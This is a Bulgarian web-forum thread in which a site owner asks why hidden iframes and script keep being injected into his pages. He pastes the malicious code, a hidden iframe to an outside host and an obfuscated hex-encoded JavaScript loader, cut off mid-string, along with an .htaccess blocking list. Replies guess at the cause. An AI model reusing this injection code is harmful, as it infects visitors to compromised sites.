хак из сайтовете

[embaka]

здравейте, от едно известно време в самия код на страниците ми се появяват едни <iframe> тагове със адрес, отдолу се изрязва страницата, без значение дали ще е html, php и т.н. ето и жава скрипта, който се записва в долната част на страницата. някой може ли даде обяснение какво е това.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Under Construction!</title>
<style type="text/css">

</style>
</head>

<body><div style="display:none"><iframe src="http://tonapo.dnsdojo.net:8080/index.php" width=535 height=172 ></iframe></div>
<table border="0"   style="margin-left:40%; margin-top:30%;">
<tr>
<td>
  <span class="style1">Under Construction!</span></td>
</tr>
</table>
</body>
</html>
<script>rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F7

всеки път когато огранича адреса по ip или домейн се появяват същите неща, но е различен адреса в <iframe>

 

[vik96]

ако си на безплатен хост е нормално

 

[embaka]

10 сайта на супехостинг, не знам нормално ли е? започвам да се замислям, дали не е от сървърите им нещо. при положение, че на този зайт затрих всичко оня ден и оставих само един index.html и .htaccess със забрани

order allow,deny
deny from 94.102.208.
deny from 69.60.10.
deny from 204.13.248.
deny from 79.143.129.
deny from 91.121.7.
deny from 84.242.167.
allow from all 

## SITE REFERRER BANNING
RewriteEngine on
# Options +FollowSymlinks

RewriteCond %{HTTP_REFERER} dvrdns\.org [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_REFERER} x3y\.ru [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_REFERER} is-ageek\.com [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_REFERER} dnsdojo\.net [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_REFERER} serveirc\.com [NC]
RewriteRule .* - [F]

 

[lam3r4370]

Слагат ти някакъв вреден код,някъде имаш 'дупка'

 

[embaka]

на html, с два реда, не знам каква дупка имам

 

[djpatzo]

Права на папките... Като качиш сайта не го прави на 777 или 755 а на 705 пробвай...

 

[embaka]

днес отново го има по сайтовете

 

[lam3r4370]

Ти на какъв хост си?Ако си на споделен ,това значи ,че има и други сайтове,не само твоя,може някой Джумла да е проблема

 

[alex95_bg_2]

Суперхостинг имат дупка или имаш троянец по пцто, Влизаш през фтп, нали? Смени си фтп паса от друго пц и си прейнсталирай бозата напълно

 

[raiden]

Нищо чудно и в хоста да проблема. В ICN например на сървъра Helius от доста време може да се ровичка из чуждите файлове...

 

[federer_11]

нищо чудно да имаш вирус, от това може да е

 

[embaka]

вирус нямам, но един заразен кошник на друго място ми е прихванал паролите 8)